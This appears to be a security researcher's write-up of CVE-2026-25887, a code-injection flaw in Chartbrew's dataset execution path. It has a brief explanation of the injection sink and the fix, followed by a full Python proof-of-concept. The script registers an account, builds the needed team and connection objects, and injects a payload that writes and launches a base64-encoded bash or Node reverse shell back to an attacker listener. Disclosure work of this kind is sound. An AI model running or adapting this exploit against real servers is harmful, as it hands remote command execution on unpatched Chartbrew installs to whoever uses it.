Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
CVE
CVE-2026-25887
Product
Chartbrew
Fixed in
4.8.1

The same Function() injection class as CVE-2026-25888, reached through a different sink: ConnectionController.runMongo(), invoked by creating a dataset and running it. This path opens a fresh connection per call, so there is no shared pool to warm.

Difference from the chart-test path

sink        runMongo()                   (vs testMongoQuery)
trigger     create + run a dataset        (vs POST /chart/test)
connection  mongoose.createConnection()   fresh TCP per call
warmup      none (always cold)
time        ~30s to shell (full connect cost every call)

Payload

The constructor chain is identical, but the command must launch asynchronously with exec(), not execSync(), so the spawned shell outlives the HTTP response:

constructor.constructor("return process")()
  .mainModule.require("child_process")
  .exec('bash -c "echo <b64>|base64 -d>/tmp/rev.js;node /tmp/rev.js"')

Base64-wrapping the reverse shell avoids quote escaping through the JSON and Function() layers.

Exploit path

POST /user / GET /team / POST /project / POST /team/:id/connections
create a dataset with the payload as its query
run the dataset  →  runMongo()  →  shell ~30s later

Fix

Same remediation as CVE-2026-25888: acorn AST validation in 4.8.1, security release 4.9.0.

PoC

Drives the dataset-execution path end-to-end and delivers a reverse shell via the async exec() payload:

#!/usr/bin/env python3
"""
CVE-2026-25887 — Chartbrew RCE via Dataset Query Execution
===========================================================
Authenticated code injection via Function() in ConnectionController.runMongo().
This is the SECOND RCE path — through dataset execution rather than chart test.

Key differences from CVE-2026-25888 (revshell.py):
  - Injection point: ConnectionController.runMongo() (not ChartController.testMongoQuery)
  - Entry: Dataset quick-create + run (not chart test endpoint)
  - Timing: ~30s per call (createConnection per request, no warmup possible)
  - Single-shot: write + launch revshell in one exec() call

Usage:
    nc -lvnp 9001
    python3 revshell-25887.py http://TARGET:4019 LHOST LPORT [mongo-url] [--bash]
"""

import requests
import sys
import time
import base64


class ChartbrewDatasetExploit:
    def __init__(self, api_url, mongo_url="mongodb://mongo:27017/test"):
        self.api = api_url.rstrip("/")
        self.mongo_url = mongo_url
        self.token = None
        self.team_id = None
        self.project_id = None
        self.connection_id = None
        self.headers = {"Content-Type": "application/json"}

    def _h(self):
        return {**self.headers, "Authorization": f"Bearer {self.token}"}

    def authenticate(self, email, password, name="researcher"):
        r = requests.post(f"{self.api}/user", headers=self.headers, json={
            "name": name, "email": email, "password": password
        })
        if r.status_code == 200 and r.json().get("token"):
            self.token = r.json()["token"]
            return True
        r = requests.post(f"{self.api}/user/login", headers=self.headers, json={
            "email": email, "password": password
        })
        if r.status_code == 200 and r.json().get("token"):
            self.token = r.json()["token"]
            return True
        return False

    def setup(self):
        r = requests.get(f"{self.api}/team", headers=self._h())
        self.team_id = r.json()[0]["id"]
        r = requests.post(f"{self.api}/project", headers=self._h(), json={
            "team_id": self.team_id, "name": "x"
        })
        self.project_id = r.json()["id"]
        r = requests.post(
            f"{self.api}/team/{self.team_id}/connections", headers=self._h(),
            json={
                "type": "mongodb", "name": "x",
                "host": self.mongo_url, "dbName": "test",
                "project_ids": [self.project_id], "team_id": self.team_id,
            }
        )
        self.connection_id = r.json()["id"]

    def fire(self, query):
        """Create a dataset with the payload and execute it. Single-shot."""
        r = requests.post(
            f"{self.api}/team/{self.team_id}/datasets/quick-create",
            headers=self._h(),
            json={
                "team_id": self.team_id,
                "project_ids": [self.project_id],
                "legend": "x",
                "dataRequests": [{"query": query, "connection_id": self.connection_id}],
            }
        )
        dsid = r.json()["id"]
        try:
            requests.post(
                f"{self.api}/team/{self.team_id}/datasets/{dsid}/request",
                headers=self._h(), json={"getCache": False}, timeout=60,
            )
        except:
            pass


def main():
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target-api> <lhost> <lport> [mongo-url] [--bash]")
        sys.exit(1)

    args = [a for a in sys.argv[1:] if not a.startswith("--")]
    use_bash = "--bash" in sys.argv

    target = args[0]
    lhost = args[1]
    lport = int(args[2])
    mongo = args[3] if len(args) > 3 else "mongodb://mongo:27017/test"

    shell_type = "bash" if use_bash else "node"
    print(f"CVE-2026-25887 — Chartbrew RCE via Dataset Execution ({shell_type})")
    print(f"Target:   {target}")
    print(f"Callback: {lhost}:{lport}")
    print(f"Mongo:    {mongo}")
    print("=" * 60)

    exploit = ChartbrewDatasetExploit(target, mongo)

    ts = int(time.time())
    email = f"ds_{ts}@x.com"
    print(f"[1] Registering as {email}...")
    if not exploit.authenticate(email, "Spl1tD3c!sion"):
        print("[-] Auth failed")
        sys.exit(1)
    print("    OK")

    print("[2] Creating team/project/connection...")
    exploit.setup()
    print(f"    Team={exploit.team_id} Project={exploit.project_id} Conn={exploit.connection_id}")

    # Build one-shot payload: write revshell + launch, all in one exec() call
    if use_bash:
        revshell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
        b64 = base64.b64encode(revshell.encode()).decode()
        cmd = f'bash -c "echo {b64}|base64 -d|bash"'
    else:
        node_code = (
            f"var n=require('net'),s=new n.Socket();"
            f"s.connect({lport},'{lhost}',function(){{"
            f"var p=require('child_process').spawn('/bin/bash',['-i']);"
            f"s.pipe(p.stdin);p.stdout.pipe(s);p.stderr.pipe(s);"
            f"}});"
        )
        b64 = base64.b64encode(node_code.encode()).decode()
        cmd = f'bash -c "echo {b64}|base64 -d>/tmp/r87.js;node /tmp/r87.js"'

    payload = (
        "constructor.constructor(\"return process\")()"
        ".mainModule.require(\"child_process\")"
        f".exec('{cmd}')"
    )

    print(f"\n[3] Firing payload (~30s, fresh mongoose connection per call)...")
    print(f"    Make sure your listener is running: nc -lvnp {lport}")
    print()

    exploit.fire(payload)

    print("[*] Payload delivered. Check your listener.")


if __name__ == "__main__":
    main()